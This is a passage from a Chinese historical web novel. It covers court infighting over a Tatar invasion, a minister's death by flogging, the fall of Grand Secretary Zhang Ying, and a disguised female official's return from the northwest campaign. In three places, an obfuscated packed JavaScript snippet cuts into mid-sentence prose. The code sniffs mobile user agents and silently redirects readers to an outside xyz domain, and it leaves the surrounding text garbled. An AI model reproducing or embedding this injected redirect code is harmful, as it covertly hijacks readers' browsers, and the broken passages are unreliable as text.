蒋建宽早已猜到,周平最后顶多降职,在张瑛庇护之下总能卷土重来。而他却不同了,此次风波过去,无论是胜是败,他都难逃牵连处置。 “鞑靼兵强马壮,虽然抚远侯经验丰富,可一直在山东和闽浙对抗倭寇,对于蒙古铁骑却不熟悉,突然上任,西北军队未必服从。且自从前几年在战场上受了伤,抚远侯的身体已然是大不如前。李关山虽能征善战,但毕竟年轻,未必能临危受命。本官以为,当务之急,应命宣大总督支派宣府驻军即刻南下,从后路包抄鞑靼,为前线留出时间应对。” 宣大总督与他关系不错,但也因此被张瑛周平打压。本朝以来,军备废弛,重文轻武,他这个兵部尚书压根没有什么话语权。 既然他已经必有一死,不如彻将这一条命和手中权力发挥殆尽,为边疆的将士百姓谋取最后一线生机。 周平没想到今天蒋建宽居然口若悬河,而这些明显不是他想听的,立刻按捺不住,出言与他对上:“你什么意思?将宣府的驻兵派出去,如果鞑靼兵分两路,或是蒙古其他部落突然南下,扑向宣府,如入无人之境,下边的居庸关失守后,京城直接落入他们手中。这样的罪责,你承担得起?” 蒋建宽拍案而起,直指周平:“周大人,您作为都督佥事不会看不出来吧?鞑靼此次举全力来犯,哪来的兵马再一分为二?正是为了京城的安危和其余州府的百姓,才更应该立刻调兵!边陲重镇的十八万精兵全部囤积在宣府,此时不用还更待何时?” 此时,堂内已然剑拔弩张,只有三部尚书侍郎和周平、张瑛、钱莘在僵持拉锯,其余小官小吏难免怕被殃及,惴惴不安。 这哪里是一场论战救国的会议,分明就是手握权柄、铲除异己的一言堂。 钱莘乐得在一旁看好戏,若是能膈应周张两人,他倒是可以为蒋建宽说上两句:“蒋大人所言甚是。若是能派出宣府驻兵,再调遣寿阳、平定等地的军队前往太原护卫支援,不出几月就能将其拿下。” 张瑛却轻描淡写:“鞑靼大军并非第一次来犯我朝,圣上在位多年,蒙古诸部虽然没有大举入侵,但时不时侵扰边境。他们游走作战,也未必会攻向京城。左不过掠夺些牛羊马匹,米面金银罢了。” 徐行深深皱眉,张瑛这是准备避战吗? 应惟绅目光在几人之中巡游,破天荒地开口质问:“那依张大人的意思,鞑靼闯入中原,只掠夺财物,不必大肆举兵应战?” “正是如此。” 众人面面相觑,这样的话,他们不知如何应答。 “难道就放任鞑靼侵犯我们的疆土,屠杀我们的百姓吗!那请问诸位,我们食朝廷俸禄,受万民供养,坐在此位,有何用处?”蒋建宽掷地有声,脸和脖子已然因盛怒而变红,轻易就能叫人看见,这张清瘦皮囊之下涌动的热血。 可是张瑛的话已经不知不觉说中了一部分人的心思——鞑靼掠夺一番之后就会离去,何必大动干戈,赔了夫人又折兵。 周平又是最先话事的人:“我们出兵有什么用处?只不过死伤更多将士而已。无论如何,鞑靼所到之处,百姓必然伤亡,又何必将士兵的命再填进去呢?等再过一两个月,春来雪融,鞑靼自然会退回蒙古。” 季泠盯着周平,眸化利刃,若是可以,她真想立刻捅上去。 这些人鬻宠擅权,大敌当前,安之若素,竟然将守卫国门的军民之命视作草芥,一条人命在他们眼中不过是黄纸之上的几笔名字而已。 她听见自己的牙间发出碰撞的响声,下颌正因压抑的颤抖而紊乱。人微言轻,原来就是这样。没有权势,连兵部尚书,说出的话都会被人嗤之以鼻。 她偏了偏头,看向了周平后面的徐行。 徐行察觉到了这道渴盼的目光。他整了整毫不凌乱的袍服,借着余光确认——季泠正在看着他,她想要他开口说些什么。 剑拔弩张之间,徐行出言,温和如夏日清泉的声音抚慰了众人的躁动:“无论是否派出宣府驻军,太原及周边数城定是要整顿以待的。若是重蹈覆辙,圣上必然大怒降罪。诸位大人不妨先来想想,眼下我们如何快速调动已定援军,合理安排粮草供给,安抚好民心士气。安定内部才能攘外御侮。” 应惟绅抓住了这个当口,立刻接上话:“原本宣大总督之职就有兼理粮饷。待户部选派人员,与宣大几镇联系之后,便立刻调拨所需物资粮饷,以供其用。” 钱莘老神在在:“兵马未动粮草先行,户部如今虽然财政吃紧,但好在去岁风调雨顺,还能支持住此次战争。” 季泠环顾四周,派遣宣大总督作为援军的话题已然被几人转移到料理粮饷辎重上。 她忽然发现,自己昨日是真的没睡够,否则现在怎么会有灵魂出窍的感觉。 她腾游于上空,看见几张永不餍足的血盆大口,以及被缝唇剪舌的乌合之众。当然,她也在其中看见了自己。 原来,她激动万分的部议,明面上是三部官员和内阁辅臣共同商议应战措施,实际上,话语权只在几个人那几人手中。 他们的参与,不过是为他们的决策,增添几分人多势众的可靠与闪耀。 何其可悲。 户部选去宣大山西几镇的名录已经送来,总计共有十人。 徐行在上面看到季执庸的名字时,直觉意外,转念一想,又实在是她的风格。 虽然历练之后,成长不少,可是底子还是那样的色彩。 永不退缩、誓不回头,灼人的鲜亮。 京城的水太硬,没法改变她。 出发之前,徐行找了个机会,递了东西去石竹巷。 林微看着眼前的人,皱着眉问:“什么意思?” 抱月站在浮云堂外,十分局促:“我们少爷,想要见季大人一面。” “你们少爷不会不知道,明日季大人就要去西北了吧?何况,现在是什么时辰?他不知道季大人的不便吗?” 抱月苦笑:“林姑娘,您就将东西给季大人吧。我也是主命难违……” 季泠收到徐行给她的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16446312|185112||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 短信时,正在收拾行囊。 明日她就要随着大军去了,此次一去,她就失去了京城的庇护,不知生死的未来是她与上天的博弈。 她展开纸条,看了一眼后就顺手烧掉,换了一身不惹人注意的衣裳,前往徐行指定的地方。 “执庸,你真要去吗?徐大人与我们,未必是同一条线上的人。” 季泠安慰林微:“至少,目前来看,我们不是敌人。” 这样不算明朗又略带牵扯的关系,才有利于她把握进退。 流音阁内,季泠来到了一处雅间,正是之前张瑛与徐行几人原定的宴会处,只是后来因为查出了刺客才临时更换地点。 她没有犹豫,推门而进,转身看向屋内,反手利落地关上了门。 “先生?” 徐行听见她的声音,从屏风后走出来,季泠顺着他的指示,在屏风前的圆桌边坐下,与徐行正好相对。 “您找学生来,是有什么事吗?” 季泠其实不明白,明天她就要走了,今晚徐行找自己来,究竟是做什么。她想说的全在那日马车上说完了,但她还是不假思索地来了。 徐行提起茶壶,为她倒了一杯热茶。 轻雾升腾,氤氲在两人之间,热意缭绕在徐行眼前,又随着他前推的茶杯,飘到她的眼前。 是茉莉花茶。 还是循环往复的试探与示好? “是应大人派你去的?你湖广之事不是才刚上手?怎么舍得离开。” 原来是问这个,但是与他何干啊? “我求了应大人让我去的。本来不该是我,我才入朝不到一年,人事不熟,也不了解边防粮饷之事。但应大人禁不住我求,就松口了。湖广司主事不仅我一人,也不至于离了我就不行。” 徐行目光闪烁,应惟绅居然会同意她去:“你既然知道自己不通此事,为什么还要去?廷议、部议你也瞧见了,这不仅仅是外乱,还有内祸。” 京城之内,他的眼前,也就季泠这么一个学生,他理应照拂一二。 “先生,不一定总要做安全的事情,那样的人生太没意思了,不是吗?就是因为我没见识过,所以我才要去。” 她的声音是黎明前绽放的鲜花才会发出的脆响,是希望终将来临的曙光。 可徐行的眉头没有松动。 这是在担心她? “先生放心。此次去有齐将军在。您忘了?” 徐行确实忘记了,在京城知道季泠过往的不止他一人,齐家也是。 看来是他累日劳累所致。 “总兵是周平的人,在当地根基颇深。宣大总督能力不错,只是因为性子莽直,之前得罪过张瑛,他受总兵掣肘,苦张党久矣。你大可以放心将自己的想法告诉他,眼下他比谁都更想大刀阔斧。” 季泠点点头,她此次去没有带任何人,连林微也没带去。那毕竟是军所,她无暇顾及别人,也担不起这个责任。哪怕林微非说要去,她也拒绝了。 “你,多当心。毕竟是女子,到了那里,你暴露的风险远比京城要大。” 季泠愣了一下,原来徐行真正担心的是这个,她笑得很灿烂,没有丝毫忧愁,似乎只是去游山玩水:“先生放心吧。我都知道,而且此次,我有人相伴,您也认识的。” 徐行倒是没料到她早就自己安排好了,“谁?” 难道是祝扶春?可是名录上没有他。 “是荡云。” 51. 伏尸百万流血漂橹 去岁八月,季泠新官上任之时,钟荡云留了一封信,带着云扬剑无声无息地离开了京城。 季泠在轩墨阁收到钟荡云的来信时,已经是十一月的事情了。那时候,她已经到达庐州府,见到了何咨宁。 她才得知,钟荡云始终记着当年在杭州府的西湖边,季泠对她说的那几句话。等她到了二十岁,仍未改变昔日的愿望。于是,她只身一人,仗剑走天涯。 钟荡云本欲过了湖广与江南便短暂回京,过了双节再由京出发,去往西边。等她元宵回到了京城,就得知舅舅先前受伤回京了。 眼下她正留在京城,还没有定下启程日子。 没想到西北事发突然,皇上任命齐将军时,钟荡云也在,她央求舅舅一同上战场,齐将军自然不允许,最后被齐夫人说服了。 “荡云已经长大了,她有能力替你分忧,也有魄力为自己挣得一片天。放她去吧。” 第二日,季泠就收到了轩墨阁的信,得知了此事。 原本她还没有如此坚定,但有钟荡云相伴,她便生出无端的勇气,似乎前面刀山火海,她们姐妹也都能斩开,为自己杀出一条火烧荆棘之路。 “天色也不早了,我送你回去吧。” 流音阁到石竹巷的路不短,但两人相顾无言。 到了巷子口,季泠欲要下车之时,回头看了一眼徐行。兴许是因为离别的愁绪,千言万语正在放肆翻腾。 季泠有时候也很苦恼,她的愁绪似乎总是太多太长,就像萧索黄昏时被海水无线延展的波光,在落日之后,悄声躲在海面之下的深渊流浪。 仔细想来,她与徐行认识的时间还是挺长的,偌大京城,她熟悉的人也不算多。若真要道别,徐行也许还真是一个人选。 “先生,有时候我很羡慕您。” “嗯?” “似乎任何时候,您都是坦然自若,游刃有余。在第一次见您的时候,我就是这样觉得。将来有一天,我也想成为您这样的人。只是您的境界太高,对我的表现似乎也总是不满意。” 徐行刚想起身,季泠就头也不回地离开。 她也不是想要一个答案,只是临走之前总想说些什么话,这未必是她深思熟虑过的话,反正她脑海中冒出来了,就顺着口流出来,有没有回答,回答是怎么样的,她也并不在意。 徐行撩开窗帷,看着石竹巷幽深的巷口,夜晚的深处是看不尽的漆黑。 “其实我很满意。”他轻声说。 季泠,也许你和天下人一样,渴望不以物喜,不以己悲的旷然镇定。其实正是因为控制不住的深思斟酌,才让人失去不顾一切的少年勇气。人总是羡慕自己没有的东西,我又何尝不是。 徐行放下窗帷,深夜里只有车前琉璃灯晃动和马蹄轻踏的声音。 西北战役结束得很快,不过半年,就已大获全胜,将鞑靼赶回大漠深处。 阵前换将并没有阻碍李关山领兵作战。正相反,关内多地军士不满大同总兵已久,李关山借此树立了威信,获得了一众忠心于他的人。 齐将军虽然未曾在西北领兵作战,但在军中名声震天,众将士对其无不钦佩,心怀敬意,群龙有首,自然大杀四方。 季泠几人脚程比行军行伍慢上几日,等到达宣府时,宣大总督已经领了八万精兵南下追击鞑靼,为户部十人留下了管理漕粮的部下,协商后续粮饷事宜。 季泠几人与宣大漕粮官通宵达旦,了解了总督的布兵计划,又探查清楚当地的地势、人手、风俗、气候等情况,权衡之下,选取好了数个站点。 “每个粮草站点都可以辐射至少两处驻军,为前方进攻与后侧防守做足了准备。” 充足衣食的保障也助其安抚好躁动的军民。 军帐之内,季泠压低声音,累日赶路已经让她惫怠至极,沙哑的嗓音反而便于她的伪装。 忽明忽暗的烛火之下,她手执树枝,在沙盘之上划动:“现在的计划是,我们放弃原有运粮的路线,改设适合新站点的运输网路。” 围观众人之间起了质疑。 “虽然乍一看,是比以往绕了远路,请诸位随我所指之处入眼。新路线地势更为低平和缓,且能恰巧经过数个相关的站点。一次运粮就能够同时补给多处。” “多条横纵线路交叉成网,每个站点的补给源头,不仅来自附近的一两处粮仓屯田。如此一来,我们就不将希望全押在一处上。有了源源不断的补给,即使有一点出了什么纰漏,也不至于使得军民缺衣少食。” 宣大总督麾下军需官在众人的注视下仔细核算,终于点了头:“季大人所言不假。此条补给网路与路线的设计恰到好处。若按照以往的设计,我们的运输队伍出发之时,通常总是满载,经过数个补给站点后,负载越来越少。如果此时原路返回,空载而反浪费时间不说,还折损气力,徒增消耗。” 季泠感谢他的认可,继续解释道:“现在,我将所有路线的最后一处站点都设计在粮仓屯田附近。也就是说,头即是尾,尾即是头。卸下最后一处补给后,就能在附近再装上军需物品,原路返回,再进行一次补给。如此一来,不仅补给效率能够提高,风险分散,而且节约不少兵力。” 季泠的新计,对于前线作战军队而言,自然是极大的支持。 钟荡云只与季泠同行一段路程,就快马加鞭,奔赴前线,正面迎战鞑靼大军,巾帼之姿令人赞叹。 西北铁骑皆赞钟荡云不愧是自小熟读兵法、操枪射箭的将门之后,即使从未上过战场,竟也毫无惧色,频频献计大败敌军。 最后一战,钟荡云带领十数精兵穷追不舍,深入大漠,最终取得顺义王之孙的首级,用其鲜血祭奠边关诸城守国而亡的忠义之士,力挫鞑靼士气,大振我朝雌风,女将英姿焕发于苍茫原野之上。 而在季泠离开的半年,京城波诡云谲,从未停歇。 张瑛不知道究竟是哪一步出了错,蒋建宽的折子竟然跳过内阁和通政使司,直接送到皇上面前,皇上见后,当即就将蒋建宽打入刑部大牢,不听其辩解。 先前皇上下令将大同总兵即刻抓捕归京处斩、协同隐瞒之人全部按律处置时,周平和张瑛还有些担忧,是否皇上会牵连 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16446313|185112||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 到他们。 现下见蒋建宽被发落,明白皇上也只忧心京城安危,对他们仍然信任重视,这才放下心来。 只是湍急涌流之中,总有人想逆水行舟,奋不顾身以殉国家之急,将那祸端的堤坝堵上。 朝会之上,年逾五旬的大理寺丞卫仲全怆然跪下:“陛下,边关战事紧急,蒋大人虽言语急躁,但全然是因为心系百姓之苦啊!陛下!朝中众臣,若都只谄媚逢迎,不事民生军政,我朝何以传承世代,齐享万福啊!” 皇上不语,只说卫大人年迈,神志不清,准其病假,回家修养。 卫大人手执槐芴,跪着爬向天子,对着这个至高无上、代天立世的帝王,字字泣血:“天子应与士大夫共治天下!若天子不虚心纳谏,只听信谗言,尔等老臣还有何立世的意义!君与臣,共曳木之人也!我等臣子,不是谢家之臣,而是天下万民的臣子啊!” 皇上勃然大怒,如此妄言不仅驳斥了帝王之尊,而且还挑战了他的权威。 他当即拍案而起,下令将卫仲全廷杖五十下,以儆效尤。 卫大人年迈,如此刑罚,最终还是要了他的命。 无人看见,皇帝缓缓坐下时,紧紧地抓住龙椅扶手,似是想从这辉煌金座之上借得一些力量。 士人直谏的权力,似乎总是用鲜血铺成的。 死是最不能解决问题的方法,是无计可施的逃避,是想要达成目的的捷径,将乱糟糟的事情全部甩给身后之人,自己却留得一个清名。 在徐行看来,他应运筹帷幄,蛰伏于穴。 但是他不得不佩服这些置之死地而后生的人。 徐行低头看着地上每一块砖石,踩着每一条缝隙,慢慢地走出大殿。 廷杖之下,卫仲全已经撒手没气了,半百的胡子已经沉静下来。鲜血顺着殿前的砖石无尽蔓延,和大漠草原上流的血一样红,一样硬,一样滋养了这片土地上的万物生灵。 徐行不忍地闭上眼,嗅着这股权力制衡之下残忍牺牲的味道,对着这位大理寺丞深深一拜,以表敬意。 不可否认,人命是引起关注与舆论的捷径。 现在,契机到了。 满朝文臣顿时倒了风向,原先支持周平避战为主的人,如今竟然全部支持蒋建宽,要皇上即刻派宣府驻兵支援大同太原,从重处置所有大同总兵相关之人。 皇上还在犹豫之际,许多忠直的文臣就借着这次事件开始罢朝罢值。 越来越多的人混入浩荡声势之中,在同一张嘴、同一副说辞的掩饰之下,他们仿佛只是从众而已,如此一来就不会被张阁老责怪,毕竟大家都这样做了,自己总要合群。 皇上迫于压力,命三司开展调查,并下旨让宣大总督立刻追击鞑靼。 圣旨刚下,没几日就传来了宣大总督首击战胜的消息。 徐行看着捷报,心里已然明白几分。 这场戏,原来由皇上开唱 那么究竟何时落幕呢? 快了,就快落幕了。 当沉睡的雄狮清醒时,跳脚的狼狈自然只能成为猎物。 52. 风过无痕释权无踪 周平见风向倒戈,免不了着急。若皇上要论罪,他首当其冲。 张瑛见他如此沉不住气,因年迈而下垂的眼皮里藏了几分恼怒与冷酷:“咱们皇上最重名声。卫仲全用他的血给西北开路,皇上被架起来了,不得已而为之。” 周平听了这才放下心来,又想到已经押送到京的大同总兵,复又询问:“那我们便利西北诸镇,以及数万军户弃田逃亡之事,又该如何?会不会供出我们来?” 张瑛气定神闲,半分忧心也不见,似乎早已做好了十足的准备:“他们背负着自己的家族,知道什么该说,什么不该说。如今西北战乱,谁会顾及到军户一事。等此战结束,死伤士兵众多,一个数字而已,改上一改又有何妨?若是真被查出来,自然有咱们宣大总督担着,他才是名副其实的土皇帝。” 张瑛有什么可怕的,他从未指使下面的人做过什么,自然是双手干净,官服清白。 有任何问题,怎么会牵扯到他的身上呢?更何况,他可是天子之师,当朝太傅,谁敢指摘? 皇帝坐在养心殿内,看着西北传来的密信。 张瑛……他的好老师。 这位老师,将满朝文武都视作是他的学生、弟子、门生、僚属,一人之下万人之上。 这样的殊荣,享受的也够久了。 太原、大同多地在激烈鏖战之时,京城的刑部、大理寺、督察院也不清闲。 初夏的风从牢狱前吹过,朽烂之气将刚盛开的花都熏蔫了。 徐行走进去,看着昔日自己下令修筑改善的牢狱,如今竟然这么快就关押了众多熟悉的面孔,不得不感慨几分。 “徐大人,林大人。” 来人是刑部侍郎潘汝成,徐行之前的上官,曾与谭谦共事。 徐行在刑部时间不长,潘汝成还是对他多有关照的。 “潘大人。”三人纷纷行了两拜礼,做足了体面。 潘汝成也没料到,徐行如此的官运亨通,没几年就已经跟他平起平坐了,真是后生可畏。 也庆幸徐行在他手下时,自己没有对其刁难,而是出于欣赏与故友交情而多有照拂。 林清许从监察御史迁为大理寺正,他的上官卫仲全如今身故,他暂代其职。明眼人也能看得出来,等到资历足够了,这个位置也就是他的了。 徐行先开口:“现在朝中动乱之际,盯着三司的眼睛就少了些。两位大人倒是可以趁此机会,挖个干净。” 两侧的牢房中传来囚犯的哀嚎,潘汝成面不改色:“已经在审了,只是,我们离大同太远,强龙压不过地头蛇,他们层层包庇,撬不出什么东西来...” “两位大人不妨查查,他们与京城哪些人有往来,传的都是什么东西?” 林清许皱眉,背身挡住周遭的目光,看着他们做了个口型:“张瑛?周平?” 徐行微笑:“我曾听到一个消息,大同总兵借着京城高官的名头,不仅是隐瞒此次军情,还有先前压榨军户、侵吞屯田,致使众多军户逃亡。兴许拿出名册一对,会发现,十万大军,不足六七。而京城这杆子保护伞,又怎么会不图利禄呢?军户身上压出来的每滴血,总有人赶着去层层分羹。” 眼下,谁有动作,就查谁。 林清许与潘汝成相视无言,思量着如何布置后手。 在同一轮高升红日的照耀下,太原和宣府大军四面包抄,将鞑靼打得节节败退。京城中三法司的审查缉捕也在暗中悄无声息地推进。 在大军班师回朝之际,朝中一片祥和,臣民都放下心来,总算不必日夜担忧难寐。 已经是仲夏了,傍晚的风夹杂着沁人的凉意,日头逐渐变短,黑夜来临地更快一些。 日出而作,日落而息,人们自然提前了归家的时辰,与家人齐享安乐,烹粗茶淡饭,看炊烟袅袅。 丰收时节将至,众人都很盼望,这样一个不平静的夏日过后,秋天的收获能够对得起百姓所受的苦难,结出累累硕果,以慰未能葬在故土的亡魂。 朝会之上,众臣却见到了一个意料之外的人。 “蒋建宽!” 周平大惊失色,他怎么毫发无损地被放出来了? 张瑛闻言,执着笏板的手一紧,随后缓缓转身。 他没想到,蒋建宽还能有出来的一天。 帝王之心,无人能准确揣度,张瑛的计算失误了。 捷报传来后的首次早朝,蒋建宽将周平、张瑛与大同总督勾结、藐视总督、滥用职权、侵占田地、私扣粮饷、欺压军户、鱼肉边民等数十宗罪证全部列出,桩桩件件,证据确凿,周平当堂就被拿下收押。 张瑛惊惧万分,瞬间恍然大悟。 此次事件,他那尊贵的学生才是幕后推手。 他仍想出言辩解,皇上抬手制止,为这位老师保全了最后一点颜面:“张太傅年迈,识人不清、用人不当,念其为朝尽瘁一生,准许回乡安老,十日内启程吧。” 说完,不再看这位昔日的老师,退朝离开。 钱莘在一旁松落着肩膀,昂扬走出大殿。 身边一团团红云在若干年前飘来,如今又跟随着后人飘去了。 张瑛看着钱莘志德意满的背影,百感交集。 三朝元老,当朝太傅,天子之师,内阁首辅。 他确实年迈了,追赶不上后起之人。 站在殿前,他回首而望,看向那张龙椅,再环顾空荡的四周,回忆起自己入仕之时的惶恐、高升之后的风光、众臣的奉承、天子的尊敬。 再看看如今人走茶就凉,大梦空一场。 他转头眺望殿外,阳光普照,映着红砖青瓦,汲汲营营数十年,到头为他人做嫁衣。 张瑛仰天长叹,又低头凝视着纹路曲折的手心。 风过了无痕,天子一言,释权无踪。 徐行走出大殿,就见到张瑛寥落的背影。 驻足片刻后,走到他身边,恭敬地行了礼:“张大人,下官扶着您吧。” 张瑛不失体面地抬手,离开他经营一生的殿宇,再次回到家乡那处无人在意的茅庐。 徐行扶着张瑛慢慢地走向马车,张瑛偏头看着他,乌纱帽下的那双眼睛仍然清明无限。他却已然人老珠黄。 于是,甚至出乎自己的意料,他缓缓开口,带着老者的嘶哑:“润旻,你还未及而立吧?” 徐行一顿,垂首继续前进:“是,还差两年。” “二十八,大好年华啊……” 二十八的侍郎,本朝可是头一个。 他当年爬到这样的位子时,已经三十多了,但当时,他便是当朝最年轻的侍郎。 他并非不知道,徐行一直在他与钱莘之间两可游移。只是,他仍想将他收入囊中。 “你何必还回头来扶我一道?我给不了你任何东西。” 遽然于权力巅峰抽身,他难以释怀,却也只能坦荡离开。 徐行微笑着颔首:“张大人,您是百官之师。” 张瑛立于宫门前,凝滞一瞬。 是啊,百官之师,多么大的名头,如今已经是花落水流了。 张瑛由随从扶上马车时,回头对着徐行说:“徐润旻,你终将会得到想要的一切。” 徐行最后深拜:“张大人,应无所住,而生其心。福祸相依,下官愿您,安享晚年。” 张瑛深深地看了他一眼,微垂的眼中是京城的半生风雨。 福祸相依,确实如此。 历代争先的阁臣,有几个下场好的?他张瑛也算是难得的善终了。 徐行实在是个聪明人,钱莘啊钱莘,老夫等着看你的下场。 他轻笑。 十日后,一辆青帷马车孤独地离开京城,走向荆州,无人相送。 同时,西北班师回朝的队伍浩浩荡荡,沿街百姓相贺欢庆,感谢各位将士挽救国危,护民安宁。 钟荡云一身亮眼的银甲,气宇轩昂地骑着高马前进,享受着原本只属于男人的荣耀。 她腰上的云扬剑已经饮过仇敌的血,更加锋利闪耀。 锣鼓喧天之中,季泠回到了浮云堂。 风尘仆仆、满身泥沙的样子将林微和几个丫头都惊了一下。 云萝偷偷问白蔹:“这还是我们大人吗?” 白蔹呆呆地看着季泠:“是吧...半年了,总会有些变化的...” 但是这变化也太大了吧! 若不是他们日日夜夜地服侍季泠,真要认不出来眼前的这个人是谁了。 季泠呲牙咧嘴、手脚并用地脱去身上肮脏的衣袍,急赤白脸地奔向林微和白芨为她准备好的热水中。 “呼...终于回来了。” 季泠躺在浴桶中,恨不得将整个人埋进热水里,洗去这一身的疲惫。 “怎么了?是不是有什么不顺的地方?” 季泠摆摆手,任由林微替她添水,她再也不说不需要人伺候的话了。 “累得很。我从前以为自己跟着荡云他们练武,身子骨和男人没两样。这一趟下来,我是脸也糙了,脚也烂了。白日忧心着辎重押送和前线战况,晚上还要防着他们发现我是个女人,沐浴更衣都要躲躲藏藏的。西天取经也不过如此啊!” “还有,你都不知道!那些男人,唉!”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16446314|185112||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 她都不想说! 一直以来,她袍服宽大,身量又高,也亏得没长成小家碧玉的模样,伪装许久,也未曾被发现过端倪。 她在京城混迹与男子之间至今,从未出过差错,也是因为京城那些达官贵人仍旧讲求体面,拘着常礼,待人接物总有分寸。 更是因为,若非要比起身手来说,那些人一副文人身骨,还真未必有她强壮。 可她的见识仍然太少,一腔孤勇地就随军而去了,却忽略了边疆军士与京城文臣是完全不同的。 在初次随军运粮时,她不得已与他们一同睡在临时搭起的军帐通铺之中。夜伴三更,饮酒作乐,她本就被扰得无法安眠。 可远离京城,身边没熟人相伴,她也不能再佯装曲高和寡,总要与他们打好交道。 于是她硬着头皮,顺理成章地与他们一道,在劳累过后,吃酒放松。 可她从不喝酒的人,头一日被灌了一壶酒下去,便醉的不省人事。第二日若非被同行的吏部同僚喊醒,差点就要贻误前线大事了。 几次三番下来,她的酒量稍微好了些,可仍被那些汉子嘲笑。她也只好苦脸求饶,任他们拿她取乐。 首战告捷那日,全军帐都欣喜狂欢,她正想驾马去前方大营中找钟荡云,却被她帐子里的那伙人抓着去喝酒。 酒一喝大,他们便开始浑话乱扬。季泠皱着眉猫在角落,勉强地点头应和着。 可不止是谁挑起了话头,帐子里忽然开始起哄,他们便准备脱了裤子比较一番。 季泠目瞪口呆,结结巴巴地劝他们遵守军纪,不要惹是生非。 他们却只喷着酒气大笑,说她在京城太安分守己,没见过世面。 嘲笑完后,还非得来扯她的衣裳,要和她这个建州来的弱男子比比大小,一较高下。 她只好扣了喉咙,将吃的炊饼、喝的烧酒全部吐出来,才逃过一劫。 一想到这些事,她就更加疲惫。 可抛开这些不谈,她仍怀念那段被沙砾扬尘裹挟的日子。 他们一同在烈日下挥汗跋涉,在沙盘前审慎定夺,在醉酒后放声高歌,在草原上纵马奔腾。 他们不知道她是建州的季泠,是京城的季执庸。 他们只知道,她是和他们生死与共、洒血偕行的季小弟。 他们讥笑她的瘦小,又欣赏她的才智。 她在那半年之中,得到了一份野性难驯的真情。 林微静静地听着她的喧嚷,替她按着手臂和肩膀。 林微知道,这半年再如何不易,她也终究顺利挺过来了。 这半年季泠确实受苦不少,历练也不少,身上见着全是硬实的线条,再没有一丝松垮的皮肉。 季泠特别享受地闭目养神,还是改不了贫嘴的毛病:“林微,我这一辈子是离不开你了。早知道我就把你带去了。至少还能替我暖床...” 林微没好气地瞄了她一眼:“怎么?在那些糙男人堆里泡了半年,你也转性了?” 季泠被她这么一说,突然想起来一件大事,偷偷在她耳边说:“我怕是真的要成男人了,这半年我没来过月信...” 林微大惊道:“这可不是小事情,找个大夫来替你看看?” 季泠摇摇头,不在意地拍了拍身前的水,看着自己的指甲都被磨平了,还觉得有些可惜:“算了吧,这一诊脉不就暴露了?叫白芨她们多给我弄些药膳,看看能不能补回来吧。” 林微叹气:“你这官当的,一年下来,把人家三年的事情都干完了,也不嫌累得慌。照你这样干下去,有命升官都没命享福。” 季泠倒是很满足,开心地笑开了:“这不是我赚了?一年就干人三年的事情,那我活五十年,也和常人活一百五十年一样了,倒也不亏。” 林微帮她擦着头发,有种管不住顽皮孩子的无力感:“你就作吧。也就是现在年纪轻,再过几年,病痛上身,你就会后悔的。” 季泠才不会去管虚无缥缈的几年后,现在能得到的东西,她就要努力去争。 “不过,我从未去过那么远的地方。你是不知道,刚到宣府,我的脸和手全部裂开了,笑一下都疼,脸皮被人扒下来了一样疼。于是我总板着脸,反而给我立了个不苟言笑的印象,当地的漕粮官与军需官倒不敢随便拿捏我了。” 她拿着白蔹递来的铜镜,端详着自己鼻子周边破开的皮:“鼻子也干的很,每天都要流血,到最后闻什么都是血的味道。” 季泠开始絮絮叨叨个没完,林微和白蔹也耐心地听着,白芨去为季泠煮一碗红枣莲子汤。 浮云堂又笑声常在。 53. 持圣玉破墀陛重重 翌日,皇上在宫中为西北归来的臣子设宴庆功。 自然,季泠与钟荡云也在其列。 季泠再一次换上那身朝服:二梁冠、赤罗衣,青领缘白纱中单,青缘赤罗裳,赤罗蔽膝,赤白二色绢大带,银革带,佩练鹊三色花锦绶,白袜黑履。 她站在镜前左右看看,十分满意。 此番去了半年回来,她已经能撑得起这身威严的朝服了,西北的磨砺为她添了几分渊渟岳峙的气度。 “林微,你看看,这衣裳是不是宽了一些,又短了一点。” 林微绕着她前后转了几圈,点点头:“你瘦了,又结实了,看起来确实宽松些,不过这样也好。若是胖了,你女子的身份可就难掩盖了。” 而后又比划了以下:“你是不是长高了?” 季泠奇怪道:“我都二十一了,还能长吗?要是可以,我定要在菩萨面前日日祝祷,让我长到八尺高。” 说完,她又突然用两只手拍了拍胸脯:“这一瘦,把这二两肉也瘦下去了,我都不必束胸了,嘿嘿。”季泠傻笑着。 林微扶额:“我的大人哟,您说话可别这么口无遮拦的,多少也该顾及自己的身份啊。” 季泠吐吐舌头,她也就能在林微面前尽情地胡言乱语一番了。出了门,又要带上那副假正经的面孔,总该找时间发泄一下吧。 季泠眼看时间不早了,匆忙赶出门。 今日的庆功宴,她可不能迟了。 